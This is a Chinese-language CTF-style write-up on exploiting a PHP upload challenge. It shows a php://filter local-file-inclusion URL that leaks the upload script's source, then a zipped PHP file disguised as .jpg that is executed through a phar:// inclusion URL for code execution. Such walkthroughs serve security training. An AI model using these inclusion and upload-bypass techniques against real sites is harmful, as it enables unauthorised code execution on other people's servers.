案例鏈接:
打開鏈接,發現分了多個頁面:
挨個點擊,大概清楚是上傳指定格式的文件然后在搜索的時候使文件執行從而GetShell,觀察發現點擊每個頁面后出現“?page=xxx"字樣,查看源代碼發現還有隱藏的php文件:
於是輸入:
http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=upload
得到一串base64編碼:
在線解密后得到網頁隱藏源碼:
1 <html lang="zh-CN"> 2 <head> 3 <meta charset="utf-8"> 4 <?php 5 $error=$_FILES['pic']['error']; 6 $tmpName=$_FILES['pic']['tmp_name']; 7 $name=$_FILES['pic']['name']; 8 $size=$_FILES['pic']['size']; 9 $type=mime_content_type($tmpName); 10 try{ 11 if($name!=="") 12 { 13 $name1=substr($name,-4); 14 if(($name1!==".gif") and ($name1!==".jpg") and ($name1!=='.zip')) 15 { 16 echo "hehe"; 17 echo "<script language=javascript>alert('上傳照片只能是JPG或者GIF!');history.go(-1)</script>"; 18 exit; 19 } 20 if($type!=="image/jpeg"&&$type!=="image/gif") 21 { 22 echo mime_content_type($tmpName); 23 echo "<script language=javascript>alert('上傳照片只能是JPG或者GIF!');history.go(-1)</script>"; 24 exit; 25 } 26 if(is_uploaded_file($tmpName)){ 27 $time=time(); 28 $rootpath='uploads/'.$time.$name1; 29 if(!move_uploaded_file($tmpName,$rootpath)){ 30 echo "<script language='JavaScript'>alert('文件移動失敗!');window.location='index.php?page=submit'</script>"; 31 exit; 32 } 33 } 34 echo "圖片ID:".$time; 35 } 36 } 37 catch(Exception $e) 38 { 39 echo "ERROR"; 40 } 41 // 42 ?> 43 </html>
從第十四行可以看出其實也支持ZIP文件,想到可以從這里下手
在本地建一個PHP文件,意在使網站對上傳文件解析后執行這段代碼,即打開phpinfo界面:
<?php phpinfo();?>
將其壓縮成ZIP文件后也可將格式改為jpg上傳,可以得到圖片ID:
然后記住圖片ID,在view頁搜索后跳轉出現以下頁面:
這時我們的PHP代碼已經執行,我們就可以輸入以下網址得到我們需要的phpinfo頁面,即GetShell了:
http://202.112.51.184:8007/index.php?page=phar://uploads/1533638442.jpg/2